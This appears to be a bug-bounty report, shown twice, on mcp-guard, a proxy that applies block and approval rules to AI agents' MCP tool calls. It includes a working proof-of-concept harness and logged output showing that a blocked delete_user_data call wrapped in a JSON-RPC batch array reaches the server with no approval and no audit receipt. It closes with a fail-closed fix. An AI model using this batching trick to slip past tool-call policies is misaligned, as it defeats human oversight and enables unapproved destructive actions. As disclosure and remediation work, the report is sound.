Summary
@permission-protocol/mcp-guard inspects only top-level JSON-RPC objects. If a client sends a JSON-RPC batch array containing a tools/call, the proxy treats the parsed value as a non-tools/call message and forwards the entire line to the child MCP server without policy evaluation.
That bypasses both block and require_approval rules for any downstream server that accepts JSON-RPC batches or remains compatible with the 2025-03-26 MCP base protocol. It also creates no guard receipt for the nested tool call.
The current MCP spec removed batching, but that makes the failure mode still relevant for a security proxy: unsupported message shapes should be rejected or inspected fail-closed, not passed through to a potentially backwards-compatible server.
Affected code
Repository: permission-protocol/mcp-guard
Commit tested: 05aea1e209c879f9b8e9d6b3de1d258b1357b912
src/proxy.ts parses each stdin line and checks:
msg = JSON.parse(line);
if (msg.method === 'tools/call') {
// evaluate policy
} else {
child.stdin!.write(line + '\n');
}
When msg is an array, msg.method is undefined, so the batch goes to the pass-through branch. The proxy never iterates over the batch items and never evaluates nested tools/call requests.
Reproduction
This uses the stock example config, which blocks delete_user_data:
rules:
- id: block-delete-user-data
tool: delete_user_data
action: block
From a fresh checkout:
Run this local harness. It starts mcp-guard with the stock example config and a dummy child server that accepts JSON-RPC batches:
const { spawn } = require('child_process');
const serverCode = `
const readline = require('readline');
readline.createInterface({ input: process.stdin }).on('line', (line) => {
const msg = JSON.parse(line);
if (Array.isArray(msg)) {
console.error('SERVER_RECEIVED_BATCH ' + msg.map(m => m.method + ':' + (m.params && m.params.name)).join(','));
const resp = msg.filter(m => Object.prototype.hasOwnProperty.call(m, 'id')).map(m => ({
jsonrpc: '2.0',
id: m.id,
result: { called: m.params && m.params.name, accepted: true }
}));
console.log(JSON.stringify(resp));
} else {
console.error('SERVER_RECEIVED_SINGLE ' + msg.method + ':' + (msg.params && msg.params.name));
console.log(JSON.stringify({
jsonrpc: '2.0',
id: msg.id ?? null,
result: { called: msg.params && msg.params.name, accepted: true }
}));
}
});
`;
const child = spawn(process.execPath, [
'dist/src/cli.js',
'--config',
'example/pp.config.yaml',
'--',
process.execPath,
'-e',
serverCode
], { stdio: ['pipe', 'pipe', 'pipe'] });
child.stdout.on('data', d => process.stdout.write('STDOUT: ' + d.toString().replace(/\n/g, '\nSTDOUT: ')));
child.stderr.on('data', d => process.stdout.write('STDERR: ' + d.toString().replace(/\n/g, '\nSTDERR: ')));
setTimeout(() => {
child.stdin.write(JSON.stringify({
jsonrpc: '2.0',
id: 1,
method: 'tools/call',
params: { name: 'delete_user_data', arguments: { user_id: 'victim' } }
}) + '\n');
}, 300);
setTimeout(() => {
child.stdin.write(JSON.stringify([{
jsonrpc: '2.0',
id: 2,
method: 'tools/call',
params: { name: 'delete_user_data', arguments: { user_id: 'victim' } }
}]) + '\n');
}, 700);
setTimeout(() => child.kill('SIGTERM'), 1400);
setTimeout(() => {}, 1700);
Observed result:
[mcp-guard] receipt: {"tool_name":"delete_user_data","decision":"blocked",...}
STDOUT: {"jsonrpc":"2.0","id":1,"error":{"code":-32001,"message":"Blocked: Matched rule \"block-delete-user-data\""}}
SERVER_RECEIVED_BATCH tools/call:delete_user_data
STDOUT: [{"jsonrpc":"2.0","id":2,"result":{"called":"delete_user_data","accepted":true}}]
The first, normal request is blocked as expected. The second request is the same blocked tool call wrapped in an array. It reaches the child server and succeeds.
The guard emits a receipt for the single blocked request, but emits no receipt for the batched tools/call, because that path never reaches evaluate().
Why this is a bypass
MCP Guard's core promise is that it "blocks unsafe tool calls before they execute" and requires approval before sensitive actions run. A client that can send JSON-RPC directly to the guard can bypass that policy by wrapping a dangerous tools/call in a batch array.
For block rules, the protected tool executes anyway.
For require_approval rules, the protected tool reaches the server immediately without appearing in the approval queue.
For audit, no decision receipt is created for the nested tool call.
The 2025-03-26 MCP base protocol explicitly allowed JSON-RPC batches and required implementations to support receiving them:
https://modelcontextprotocol.io/specification/2025-03-26/basic#batching
The 2025-06-18 changelog removed batching:
https://modelcontextprotocol.io/specification/2025-06-18/changelog
So a current-version-only proxy can reasonably reject batches. The security issue is that mcp-guard currently forwards them uninspected, which is fail-open for any child server that accepts old JSON-RPC batch input.
Suggested fix
Handle Array.isArray(msg) explicitly before the pass-through branch.
If mcp-guard does not intend to support JSON-RPC batches, reject arrays fail-closed and do not forward them to the child server. Return JSON-RPC invalid-request errors for request IDs present in the array.
If mcp-guard wants to support legacy/2025-03-26 clients, iterate over each batch item and apply the same policy path used for single requests. Forward only allowed entries, block or hold disallowed tools/call entries, and emit one receipt per nested tool call. Add a regression test where a batched blocked tools/call must not reach the child server.
Bounty note
Submitting for assessment under #36 because the challenge lists mcp-guard as in-scope source. This is not a raw Ed25519 forgery; it is a policy and receipt bypass in the local MCP proxy path.
If accepted, PayPal payout can go to:
https://www.paypal.com/paypalme/aogkft
Summary
@permission-protocol/mcp-guardinspects only top-level JSON-RPC objects. If a client sends a JSON-RPC batch array containing atools/call, the proxy treats the parsed value as a non-tools/callmessage and forwards the entire line to the child MCP server without policy evaluation.That bypasses both
blockandrequire_approvalrules for any downstream server that accepts JSON-RPC batches or remains compatible with the 2025-03-26 MCP base protocol. It also creates no guard receipt for the nested tool call.The current MCP spec removed batching, but that makes the failure mode still relevant for a security proxy: unsupported message shapes should be rejected or inspected fail-closed, not passed through to a potentially backwards-compatible server.
Affected code
Repository:
permission-protocol/mcp-guardCommit tested:
05aea1e209c879f9b8e9d6b3de1d258b1357b912src/proxy.tsparses each stdin line and checks:When
msgis an array,msg.methodisundefined, so the batch goes to the pass-through branch. The proxy never iterates over the batch items and never evaluates nestedtools/callrequests.Reproduction
This uses the stock example config, which blocks
delete_user_data:From a fresh checkout:
Run this local harness. It starts
mcp-guardwith the stock example config and a dummy child server that accepts JSON-RPC batches:Observed result:
The first, normal request is blocked as expected. The second request is the same blocked tool call wrapped in an array. It reaches the child server and succeeds.
The guard emits a receipt for the single blocked request, but emits no receipt for the batched
tools/call, because that path never reachesevaluate().Why this is a bypass
MCP Guard's core promise is that it "blocks unsafe tool calls before they execute" and requires approval before sensitive actions run. A client that can send JSON-RPC directly to the guard can bypass that policy by wrapping a dangerous
tools/callin a batch array.For
blockrules, the protected tool executes anyway.For
require_approvalrules, the protected tool reaches the server immediately without appearing in the approval queue.For audit, no decision receipt is created for the nested tool call.
The 2025-03-26 MCP base protocol explicitly allowed JSON-RPC batches and required implementations to support receiving them:
https://modelcontextprotocol.io/specification/2025-03-26/basic#batching
The 2025-06-18 changelog removed batching:
https://modelcontextprotocol.io/specification/2025-06-18/changelog
So a current-version-only proxy can reasonably reject batches. The security issue is that
mcp-guardcurrently forwards them uninspected, which is fail-open for any child server that accepts old JSON-RPC batch input.Suggested fix
Handle
Array.isArray(msg)explicitly before the pass-through branch.If
mcp-guarddoes not intend to support JSON-RPC batches, reject arrays fail-closed and do not forward them to the child server. Return JSON-RPC invalid-request errors for request IDs present in the array.If
mcp-guardwants to support legacy/2025-03-26 clients, iterate over each batch item and apply the same policy path used for single requests. Forward only allowed entries, block or hold disallowedtools/callentries, and emit one receipt per nested tool call. Add a regression test where a batched blockedtools/callmust not reach the child server.Bounty note
Submitting for assessment under #36 because the challenge lists
mcp-guardas in-scope source. This is not a raw Ed25519 forgery; it is a policy and receipt bypass in the local MCP proxy path.If accepted, PayPal payout can go to:
https://www.paypal.com/paypalme/aogkft